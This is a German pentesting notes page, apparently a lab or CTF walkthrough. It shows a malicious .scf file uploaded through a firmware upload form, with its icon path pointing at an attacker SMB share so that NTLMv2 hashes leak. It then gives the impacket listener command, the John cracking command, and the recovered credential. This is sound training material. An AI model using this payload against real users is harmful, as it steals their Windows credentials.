> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/web-vulnerabilities/file-upload-attack/file-upload-+-capture-ntlmv2-.scf-file-pentesting-web.md).

# Datei-Upload und NTLMv2-Erfassung mit .scf

<figure><img src="/files/d4ad70b90a4690acc0fb5d086c0a36a5633bf8fa" alt=""><figcaption></figcaption></figure>

Die Website bietet die Möglichkeit, Firmware hochzuladen. Die Meldung lautet:

> Wählen Sie das Drucker-Druckermodell aus und laden Sie das Firmware-Update der Firmware herunter, die auf unserer Dateifreigabe übereinstimmt. Unser IT-Team wird die Uploads manuell überprüfen und bald mit den Tests beginnen.

<figure><img src="/files/62ec955642293fd0d47610bff6e80f4d5c814611" alt=""><figcaption></figcaption></figure>

## Ausnutzung - bösartige SCF-Datei:

Erstellung einer bösartigen Datei `.scf` um das NTLMv2 von einem Benutzer abzufangen, wenn er sie öffnen:

```
[Shell]
Command=2
IconFile=//10.10.14.7/smbFolder/pentestlab.ico
[Taskbar]
Command=ToggleDesktop

```

Starten Sie einen Listener mit **impacket** um das NTLMv2 abzufangen:

```bash
impacket-smbserver smbFolder $(pwd) -smb2support

```

Erfassung des NTLMv2-Hashes des Benutzers `tony`.

<figure><img src="/files/da4ab5fbaf89aa2bc279ac05fe2f64b7fdbebca7" alt=""><figcaption></figcaption></figure>

Cracken des NTLM-Hashes mit **John**:

```bash
john --wordlist=/usr/share/wordlists/rockyou.txt hash

```

`tony:liltony`

<figure><img src="/files/0bd79618ab2c1bb0a35ec01cbdf470f59ce68064" alt=""><figcaption></figcaption></figure>


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